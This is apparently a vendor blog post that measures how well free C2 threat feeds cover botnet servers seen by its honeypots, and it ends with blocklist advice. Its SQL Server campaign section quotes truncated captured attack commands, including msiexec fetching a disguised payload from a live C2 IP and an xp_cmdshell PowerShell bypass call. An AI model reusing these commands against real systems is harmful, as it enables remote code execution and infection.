Best C2 Threat Intelligence Feeds in 2026: We Tested URLhaus and ThreatFox Against 10.730 C2 Servers

If you want to block command and control servers without paying for a feed, the honest answer is short: use abuse.ch URLhaus and ThreatFox. They are free, they are maintained, and they cover the kind of botnet infrastructure that hits most internet facing networks.

The more useful question is where their coverage ends. We run a honeypot network that records every C2 server a bot tells our sensors to contact, so we checked both feeds against our own data. Over the 30 days from 21 September to 20 October 2026 our sensors saw 10.730 C2 IP addresses. Between them, URLhaus and ThreatFox had listed 2.603 of them at some point, about one in four. The lists they actively serve held far fewer: of the 3.573 addresses still in use in the last week, 367 (one in ten) were on them on the day we checked. The feeds covered most of the biggest servers. Our analysis also identified a Windows SQL Server malware campaign, active for two months, whose infrastructure was largely absent from the public feeds we examined.

Here is what we found, which free feeds are still worth using, and how to combine them.

The short version

• Best free C2 feeds: URLhaus and ThreatFox. Both need a free abuse.ch account for bulk downloads now.
• What they catch: 16 of the 25 C2 servers with the most bots in our data, and most long running infrastructure.
• Where the gaps are: three quarters of the C2 addresses we saw were never listed, mostly short lived servers, along with 24 of 25 servers behind a Windows SQL Server campaign.
• Ever listed versus listed now: 24% of our C2 addresses had appeared in either feed at some point. Of those still in use in the last week, the active lists held 10%.
• Who is faster: our sensors saw 12 of the 16 listed hubs first. The feeds were usually faster on infected home devices.
• What to do: use the free feeds as a base, add a feed built from live attack traffic, and block outbound, not just inbound.

The free C2 feeds we checked, and the ones that stopped

Several well known free C2 lists have changed recently. This is where each one stood when we pulled them:

• URLhaus (abuse.ch): active and large. It tracks malware download URLs, which makes it the closest match to what our sensors see. Bulk exports now need a free Auth Key, and the old anonymous download links return "410 Gone".
• ThreatFox (abuse.ch): active. It collects indicators with malware family labels. Same Auth Key requirement.
• Feodo Tracker (abuse.ch): follows banking trojan botnets such as Emotet and QakBot. Its recommended blocklist held 1 IP address and its standard IP list 5, both last updated on 4 March 2026.
• C2 Tracker by montysecurity: a popular GitHub list of C2 framework servers. The repository is archived, with its last update in April 2026, and its data files are no longer available, so we could not test it.
• Viriback C2 Tracker: still active, with 8.103 IP addresses in its dump. It follows control panels of remote access tools, stealers and loaders, and added 27 new IPs in the period we tested.
• C2IntelFeeds: active. We tested its 30 day IP list, which had 219 IPs, all labelled as possible Cobalt Strike servers. The project also publishes domain lists and IP with port lists, which we did not test.

The Feodo Tracker lists, the Viriback dump and the C2IntelFeeds list we tested together contained exactly one of our 10.730 C2 addresses. That is not a criticism. They track banking trojans, red team frameworks and malware panels, while most botnet traffic on the open internet comes from IoT and server botnets. For the IoT and server malware distribution infrastructure our sensors observe, URLhaus and ThreatFox provided by far the strongest overlap among the feeds we tested, so the rest of this test focuses on them.

How we tested

We took every C2 IP address that bots told our 220 sensors to contact during the test period and checked whether it had appeared in URLhaus or ThreatFox at any point up to 21 October, and whether it was on the lists they actively served that day. For each match we compared the time the feed first listed the address with the first time our sensors ever saw it. We only compared IP addresses. Our tracking of domain based C2 is new, so domains are left out.

We ran two extra checks. First, the bulk exports abuse.ch publishes leave out many older entries, so we looked up every address missing from them, one by one, through the URLhaus and ThreatFox APIs. That recovered 464 more historical matches, nearly all from URLhaus. The lookups cannot see everything ever published, because ThreatFox expires indicators after six months and stops serving them through its API. Second, we repeated the export based comparison over 1 August to 20 October, with 19.325 C2 addresses. The pattern held: using the exports alone, 19% were listed over that longer period against 20% over 30 days, and just 1 of 43 MSSQL servers was listed. Full definitions are at the end of the article.

Finding 1: the free feeds had listed one in four C2 addresses

Of our 10.730 C2 addresses, 2.603 (24%) had appeared on URLhaus or ThreatFox at some point. URLhaus carried most of them: 2.049 only on URLhaus, 407 only on ThreatFox and 147 on both. Where ThreatFox named a family, it was mostly Mozi and Mirai.

Coverage depends heavily on the size of the botnet behind the address. A C2 server that fed a single bot had a 24% chance of being listed. A server that fed 10 to 99 bots had a 75% chance, and 16 of the 25 biggest hubs were listed.

Larger botnets are listed more often. Small, short lived C2 servers are listed less often.

Age matters the same way. Addresses we saw on a single day were listed 23% of the time. Addresses active for 30 days or more were listed 73% of the time. These feeds showed stronger coverage of persistent infrastructure, while short lived servers that appear, infect a handful of devices and disappear were listed less often.

That long tail is not harmless. Most of it is infected routers, cameras and DVRs serving malware to the next victim. Of our C2 addresses, 8.813 were infected devices that only ever served their own payload, and 26% of those were listed. Of the 1.917 dedicated servers that handed malware to other bots, only 328 (17%) were listed.

Ever listed is not the same as blockable today. A URLhaus entry leaves its active lists once the URL goes offline, and ThreatFox expires indicators after six months. On 21 October the lists both feeds actively served held 723 of our 10.730 addresses (7%). Many of the others were simply dead by then, so the fairer view is the 3.573 addresses our sensors still saw in use during the last week. The active lists held 367 of them (10%), including 100 of the 777 dedicated servers (13%).

Finding 2: who sees a C2 server first

For the 16 big hubs that both sides knew about, our sensors saw 12 first. Seven of those we saw more than a day before the feeds listed them, and across all 16 the median lead was about 13 hours in our favor. The feeds were first on four hubs, three of them by more than a day. One had been on URLhaus since 2024, an old server put back to work.

On the hubs that feed thousands of bots, early warning matters most.

Across all dedicated servers it is close to even. Of the 328 listed ones, we saw 167 first and the feeds 161. In most of the feeds' cases the address had been listed long before, typically about four months earlier, and was now back in use. For infected devices the feeds lead: they listed 1.454 of the 2.275 matching ones before our sensors saw them, about half of those within the week before. URLhaus has many contributors reporting IoT malware URLs. That is the strength of a large community feed, and it is the main reason we recommend using it.

Finding 3: a Windows SQL Server campaign largely absent from public feeds

The clearest gap was not about speed. It was a whole class of attack. Twenty five C2 servers in our data delivered malware through Microsoft SQL Server attacks, to 2.225 bots. Exactly one of the 25 was on URLhaus or ThreatFox, even after we looked up each address through their APIs. All 25 first appeared in August or later, well inside ThreatFox's six month window.

Eight of them were big hubs. Six appeared on the same day, 21 August, on four hosting providers: Hosteons, Sharktech, Baxet and three servers at HostPapa. Two more joined in September, one at Chinanet and one at Iran Telecommunication Company. Since 21 August, 3.740 different bots have pulled malware from the first six, and about two thirds of them pulled from two or more of those servers.

Five of the servers were active every single day. URLhaus listed one of them 58 days after our sensors first saw it. The other seven were not listed.

The attack itself is old school and effective. Bots brute force the SQL Server login, almost all of them on the standard MSSQL port, and some also probe SMB. Once in, they use the database to write a small HTA file into the Windows Startup folders and to run PowerShell. The HTA runs the Windows installer against a file disguised as a PNG image, ten times in a row:

exec sp_makewebtask 'C:\ProgramData\...\Startup\1.hta', ...
Msiexec /i http://45.58.184.12:10851/D23593D7.Png /Q
exec master..xp_cmdshell 'powershell -nop -exec bypass ...

Each server hosts its installer on its own high port, and the payload name changes. This is what the capture looks like in our Botnet C2 dashboard:

The captured attack against one of our sensors. The bot writes an HTA file into two Startup folders and points Msiexec at a fake PNG.

Following one of these servers in Attack Chain Analysis shows the scale. Over the last 31 days, 834 attacking hosts pointed our sensors at 45.58.184.12, and its payload landed on sensors in 35 countries.

One MSSQL C2 server in Attack Chain Analysis: bots on the left, the server, its payloads and the countries they reached.

Why the difference? Differences in collection methods, sensor coverage and indicator submission criteria may explain why this particular campaign had limited representation. Our sensors accept SQL Server logins and record what the attacker does next, which is how it showed up in our data.

If you run SQL Server on the internet, these are the eight hub addresses we saw, with the date each first appeared on our sensors:

• 103.124.106.194, Hosteons, 21 August
• 45.58.184.12, Sharktech, 21 August
• 45.144.174.174, Baxet, 21 August
• 172.245.145.169, HostPapa, 21 August
• 204.44.110.216, HostPapa, 21 August
• 172.245.148.149, HostPapa, 21 August (on URLhaus since 19 October)
• 217.219.194.40, Iran Telecommunication Company, 3 September
• 58.221.59.20, Chinanet, 16 September

Finding 4: what the feeds see that we do not

The comparison works both ways. During the test period URLhaus and ThreatFox listed 5.430 IoT C2 IP addresses. Our sensors saw 1.358 of them as C2 servers (25%). Of the remaining 4.072, another 1.493 attacked our sensors directly, so they show up in our data as attackers rather than as C2. Together that is 2.851 of 5.430 (53%).

So neither source is complete. A community feed collects reports from many places we do not watch, and our sensors record attack chains that nobody submits. The overlap is smaller than most people would expect, which is the strongest argument for using more than one source.

What this means for your firewall

Attacks keep coming after a C2 server first shows itself. Of the 19.639 bot contacts with dedicated C2 servers in our data, 92% came more than an hour after our network first saw that server, which is when it enters our hourly feed. Only 45% came after the server had first appeared on URLhaus or ThreatFox. And for the servers the feeds did eventually list, 2.848 bots reached them before the listing.

Read this as a retrospective timing comparison, not a count of prevented infections. It shows how many contacts happened after each source knew about a server. Whether a firewall would have blocked them also depends on when it last pulled the list and whether the entry was still on it. Two things skew the numbers in opposite directions: the contacts were recorded by our own sensors, which favors our feed, while counting any public listing, even one that had since expired, favors the feeds. The pattern still holds. Most infections reuse infrastructure that has already shown itself, so how fast a feed adds a server matters.

How to choose a C2 feed

1. Check it is alive. Look at the last update date. Two of the lists above have not changed in months.
2. Match it to your threats. IoT and server botnets, banking trojans and red team frameworks need different feeds.
3. Look at update speed. Hourly beats daily. Two thirds of the dedicated C2 servers in our C2 server analysis were active on a single day.
4. Look at expiry. A list that never drops old entries slowly fills with addresses that now belong to someone else. Old C2 addresses do come back sometimes, so the best lists expire entries regularly and add a server back quickly when it returns.
5. Ask for context. An IP is easier to act on when you know which exploit it served and how many bots used it.
6. Check the format. The feed should load into your firewall without a script in between.
7. Decide on infected devices. Many C2 addresses are hacked home routers. Blocking them outbound is safe, inbound is a judgment call.

A practical setup

• Free base: create an abuse.ch account and get an Auth Key. Use URLhaus in the form it is built for: its URL, domain and DNS response policy zone (RPZ) lists, in a web proxy or DNS filter. Do not turn every URLhaus host into a firewall IP block, because one malicious URL on a shared hosting address does not make every site on it malicious. ThreatFox IP and port indicators fit firewall rules and your SIEM.
• Live attack data: add a feed built from real attack traffic. Every paid Whatoblock blocklist includes a Botnet C2 category built from this data, updated hourly, with entries that expire after 31 days and ready formats for FortiGate, Palo Alto, MikroTik, Check Point, pfSense, OPNsense and more. Setup steps are on our integrations page.
• Block outbound: apply C2 lists to traffic leaving your network. That is where a C2 blocklist stops an infection from completing.
• Watch the live data: the live C2 ranking shows which servers are most active right now.

Frequently asked questions

What is the best free C2 threat intelligence feed?

For most networks, abuse.ch URLhaus and ThreatFox. They are free, actively maintained and cover the IoT and server botnets that make up most C2 traffic on the internet. Use both, because they overlap only partly.

Is Feodo Tracker still updated?

When we checked on 21 October, its recommended blocklist held 1 IP address and its standard IP list 5, and both had last changed on 4 March 2026. It focuses on banking trojan botnets, so it was never meant to cover IoT or server botnets.

Do I need an API key for URLhaus and ThreatFox?

For bulk downloads, yes. Anonymous download links now return "410 Gone". A free abuse.ch account gives you an Auth Key that unlocks the exports and the APIs.

Is there a free list of Cobalt Strike servers?

C2IntelFeeds publishes several. Its 30 day IP list had 219 addresses when we checked. Red team frameworks are a different threat from the botnets in this test, so treat it as a separate layer.

How often should a C2 blocklist update?

At least daily, ideally hourly. Most C2 servers live for a day or less, and the big hubs that last for weeks do the most damage early on.

Should I block infected home IP addresses?

For outbound traffic, yes. Your devices have no reason to download files from a hacked router. Inbound blocking of residential addresses can hit legitimate users of the same connection, so keep that category separate and decide per service.

About this data

All figures come from the Whatoblock honeypot network of 220 sensors in 39 countries. Unless stated otherwise, our data covers 21 September to 20 October 2026, in UTC. URLhaus and ThreatFox were downloaded on 21 October 2026 at about 18:00 UTC. The terms in this article mean the following:

• Bot: a distinct source IP address that sent our sensors an infection command pointing at a C2 IP address. There were 21.268. We count addresses, not physical devices.
• C2 address: a distinct IP address a bot told our sensors to contact to download malware.
• Dedicated server: a C2 address that handed malware to at least one other bot.
• Infected device: a C2 address that only served its own payload.
• Hub: one of the 25 dedicated servers used by the most bots.
• Ever listed: the IP address appears as the host of any URLhaus URL or ThreatFox indicator, either in the published exports or in an individual API lookup on 21 October. ThreatFox no longer serves indicators older than six months, so very old ThreatFox listings may be missing.
• On the active lists: a URLhaus URL on that IP was marked online on 21 October, or the IP was in ThreatFox's current export.
• First sighting: the first time our sensors ever saw the address, using our full history since December 2025. Our network grew in April and August 2026, so for older infrastructure our first sighting can be late, which works against us in the timing comparison.
• Contact: a bot's first contact with a given C2 server during the test period.

We thank abuse.ch for running URLhaus and ThreatFox as free community services.